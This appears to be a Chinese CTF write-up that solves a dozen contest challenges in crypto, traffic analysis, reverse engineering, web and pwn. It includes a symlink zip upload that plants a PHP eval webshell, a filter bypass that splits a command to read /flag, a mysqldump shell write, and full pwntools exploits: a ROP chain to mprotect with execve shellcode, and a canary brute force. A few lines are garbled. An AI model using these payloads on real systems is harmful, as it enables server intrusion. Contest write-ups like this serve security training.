签到卡
操作内容:
启动靶机环境,由于题目提示公众号有hint
使用打字机输入hint内容成功读取passwd内容
举一反三去阅读/flag内容,成功读取flag
flag值:
flag{dce155f0-c7ea-4f95-ac1e-49c621d3969a}
被加密的生产流量
操作内容:
下载题目附件,modbus.pcap,使用wireshark打开流量包
由于题目提示是modbus,所以直接筛选modbus
选择一条modbus流量追踪tcp流
查案流内容,发现下方有A===,于是将客户端流量字符提取出来,经过测试是BASE32,解BASE32得到flag
flag值:
flag{c1f_fi1g_1000}
基于国密SM2算法的密钥密文分发
操作内容:
启动环境,查看手册
首先请求接口/api/login 传入选手信息,获取id
"id": "7a670687-9fdf-4e76-b63f-2809d3b75e01"
使用在线工具生成公钥和私钥请求/api/allkey,获得服务器端生成的B公钥和B私钥
随后请求/api/quantum获取quantumString
随后使用randomString当私钥,使用SM2算法去解密quantumString
随后将得到的hex字符串传入/api/check
提示结果正确,再次请求/api/search获取到flag
{
"message": "success",
"data": {
"id": "7a670687-9fdf-4e76-b63f-2809d3b75e0*",
"name": " ***",
"school": "******",
"phone": "************",
"publicKey": "04aaf3dea4ad1aaa3a3fe11a065495a04a7af80367650a0b4f72e24bf5011078a561140c68a8a1ac0319dc4f4fdf2a91e1b605b466666e856b73208818591885c8",
"privateKey": "8d5dd67125c204a9d82a7257d8f826f74dd8b593926acaebef4ad7627557f17b",
"randomString": "8547ac276d6c0ae78f96c8ccd0c0baa2",
"quantumStringServer": "3712c59e9f353c60ed7cabc33b02b714",
"quantumStringUser": "0FDA0268641CA4A33B27C00E0F043F97",
"flag": "已完成考题,结果正确:flag{446c94ed-5987-46e9-9f61-8ce9f3443e5a}"
}
}
flag值
flag{446c94ed-5987-46e9-9f61-8ce9f3443e5a}
可信度量
操作内容:
使用player/player链接平台给的SSH,进入tcmenv_question目录
阅读赛题,需要修改key_manage.c,使得程序可以防御重放攻击
且修改完成后make编译后使用player.sh转到root环境去检查
经过查看发现/root/下有类修好的源码,不过没有权限,最早想的是提权到root,不过查看了环境变量
top查看PID,查看了几个bash、root_start.sh后,定位到了PID为22的进程
查看/proc/22
成功在进程环境变量中找到flage019b3821265]
flag值:
flag{tb07b4821-5134-4fc8-829a-e019b3821265}
Sign_in_passwd
操作内容:
下载解压附件得到flag文件
第二行内容进行URL解码后,作为字母表解BASE64,得到flag
字母表:GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
flag值:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
unzip
操作内容:
启动靶机,任意上传一个文件得到PHP源码
<?php
error_reporting(0)
highlight_file(__FILE__)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd ./ && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
审计PHP源码,若form表单传过来文件ContentType为zip时,解压文件到/tmp
结合到题目提示unzip安全问题,这里使用软连接绕过
ln -s /var/www/html dddir
zip --symlinks z.zip ./*
创建一个软连接到/var/www/html 命名为dddir
随后将一句话木马shell.php放进dddir目录下,随后在外层目录压缩
mkdir dddir cd dddir zip -r z2.zip ./* shell.php内容为下 <?php @eval($_GET['s']);
随后先传z1.zip,会将软连接dddir解压在/tmp,再传z2.zip,由于使用的unzip -O会覆盖解压,所以会将shell.php解压到/var/www/html
上传完成后访问/shell.php?s=phpinfo();
测试成功,随后使用system函数执行ls查看当前目录以及根目录
在根目录找到读取flag
flag值:
flag{ffcdf6f7-3e25-4307-9752-0fa0ec71f40e}
pyshell
操作内容:
启动靶机,发现是伪python shell
尝试后发现 import | system | eval 等等函数均被过滤,甚至字符串过长也不行
需要读取flag,所以需要能 os.system("cat /flag"),且要import os
__import__('os').system('cat /flag')
由于一次只能传入少量字符,所以分多次发
'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)
执行后得到flag
flag值:
flag{a6cc1ae0-dc91-48ab-9339-371e3727ba74}
dumpit
操作内容:
Get传参?db=ctf&table_2_dump=
搜索可知使用的mysqldump命令
使用-r 参数来写入shell
Shell引用地址:https://blog.csdn.net/weixin_30432579/article/details/96203584
然后在1.php命令执行,首先访问flag,但是读不出来,然后尝试读env,发现flag在env里
flag值:
flag{909de11c-5ddf-4a41-a6e4e314c72ff2f0}
16 babyRE
操作内容:
Xml文件
看到flag先交一下明显不对
看到key和test感觉有点关系尝试异或
int main()
{
char key[] = "flag{o_shit_i_dont_know_that}";
int test[] = { 102,10,13,6,28,20,48,44,27,1,29,43,54,54,59,11,1,26,43,52,5,1,24,40,43,28,9,21,9 };
for (int i = 0; i < 29; i++)
cout <<char(key[i] ^ test[i]);
return 0;
}
发现test列表是key[i]异或key[i+1]得到的
上面找到对doInsertInList的赋值GPT分析一下第一个<1>标签是赋的值第二个<1>标签是赋值的位置按照位置手撸得到
102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30
发现得到的列表与test列表的前几位相同,即异或得到flag的数
尝试写C++脚本异或
int main()
{
int str[] = { 102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30
};
for (int i = 0; i < 41; i++)
{
str[i + 1] ^= str[i];
}
for (int i = 0; i < 42; i++)
cout <<char(str[i]);
return 0;
}
flag值:
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
烧烤摊儿
操作内容:
checksec
ida分析:
main函数:
pijiu()函数:
逻辑就是,选择啤酒品牌,然后选择购买数量,然后判断钱包余额,够了就扣钱。
chuan()函数:
逻辑跟pijiu()函数一样。
yue()函数:
输出钱包余额。
vip()函数:购买摊位。
购买摊位后own变为1通过if判断,进入gaiming函数:
name所处位置为data段。
思路:
先买 -100000瓶啤酒攒够收购摊位的钱,购买摊位。
钱有一百多万。直接收购摊位。
选择改名进入目标溢出点:
由于会把数据copy到data段,可以注入shellcode,但执行不了,于是利用程序中的mprotect函数来更改data段读写执行权限。mprotect地址为0x458b00。
查找对应寄存器存放调用mprotect所需要的参数。
调用完mprotect之后注入shellcode执行即可得到shell。
exp如下:
from pwn import *
# r=remote('123.56.251.120',40347)
r=process('./shaokao')
name=0x4e60f0
rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx=0x00000000004a404b
m=0x458b00
ret=0x000000000040101a
system=0x00000000004b8768
sh=0x00000000004b7795
main=0x401b45
context(os='linux',arch='amd64',log_level='debug')
r.sendlineafter(">",'1')
r.sendline('1')
r.sendlineafter("来几瓶?",'-10000')
r.sendlineafter(">",'4')
r.sendlineafter(">",'5')
p=flat(b'a'*(0x28),rdi,0x4e6000,rsi,0x1000,rdx,0x7,m,m,ret,main,word_size=64)
r.sendlineafter("烧烤摊儿已归你所有,请赐名:", p)
r.sendlineafter(">",'1')
r.sendline('1')
r.sendlineafter("来几瓶?",'-10000')
r.sendlineafter(">",'4')
r.sendlineafter(">",'5')
p2=flat('\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05',b'a'*(17),name,word_size=64)
r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p2)
r.interactive()
flag值:
flag{fof99ebf-0be5-4f9f-a2ff-37ee56803450}
funcanary
操作内容:
checksec
ida分析:
sub_128A()函数:
checksec后发现保护全开,ida又看见fork,第一思路就是多进程爆破canary值。由于canary低1位字节固定"\00",只需要爆破前七位字节即可,我们知道子进程会完全复制父进程地址空间的内容,也就是说canary是一样的,每次我们利用子进程进行溢出,每次只溢出一个字节,每次爆破完检查程序是否响应了消息 "stack smashing"。如果响应了,则意味着字节值是正确的,如此反复直到爆破完七位得到canary,爆破完之后正常构造payload覆盖返回地址指向打印flag得地址,接收打印出的flag再print出即可。
exp如下:from pwn import *
rom pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('39.105.26.155',37195)
def bpcanary():
canary = b'\x00'
for j in range(7):
for i in range(1, 0xff):
r.recvuntil(b'welcome\n')
p = b'a'*0x68 + canary + p8(i)
r.send(p)
s = r.recvline()
if b'stack smashing' not in s:
canary += p8(i)
break
return canary
if __name__=='__main__':
canary = bpcanary()
print(' canary -> ', canary)
p= b'a'*0x68 + canary + b'a'*8 + p16(0x1228)
r.sendafter(b'welcome\n', p)
print(r.recv())